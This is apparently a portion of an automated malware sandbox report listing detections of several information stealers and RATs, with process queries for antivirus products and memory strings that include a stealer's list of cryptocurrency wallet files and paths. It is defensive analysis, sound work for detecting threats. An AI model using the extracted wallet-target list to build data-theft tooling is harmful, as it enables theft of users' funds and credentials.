Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0021CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0021CB1A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: gold.exe, 00000008.00000002.2764168671.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, crypted.exe, 0000001C.00000002.2991813058.0000000000B65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252257395.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252600342.0000000000F26000.00000004.00000020.00020000.00000000.sdmp, gold.exe, 00000008.00000002.2764168671.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, crypted.exe, 0000001C.00000002.2991813058.0000000000B65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: RegAsm.exe, 0000001F.00000002.3421831701.000000000779E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3303759559.0000000005EC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 18.0.Nework.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.Hkbsse.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Hkbsse.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Hkbsse.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Nework.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.Hkbsse.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2831867079.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2262892966.0000000000201000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2725148895.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2222614082.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2831681821.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2187029054.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.2830209557.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2833629275.00000000005A1000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2276396651.0000000000201000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2227686049.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.2818707390.0000000000931000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2235626454.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2832307218.0000000000931000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe, type: DROPPED

Yara detected CryptOne packer

Source: Yara match

File source: 00000018.00000002.3021996080.0000000003129000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000000.2952756193.0000000000AC2000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 31.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.newbundle2.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.crypted.exe.38a5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.436080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.gold.exe.4165570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.436080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.VCIo8iTrPf.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.gold.exe.4165570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000000.2808170295.0000000000FF2000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.3039915900.0000000000051000.00000002.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3514615123.0000000000421000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3187193053.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2764953143.0000000004165000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gold.exe PID: 4892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VCIo8iTrPf.exe PID: 5984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: penis.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: crypted.exe PID: 3792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 24.2.needmoney.exe.3710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3740000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.stealc_default2.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3710000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.3740000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.30fa4b9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.needmoney.exe.30fa4b9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.stealc_default2.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000003.3171679360.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3031467583.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.2849048856.0000000000931000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3065909202.0000000000931000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 38.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.rstxdhuj.exe.38efdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.rstxdhuj.exe.38a1590.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\.O]
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
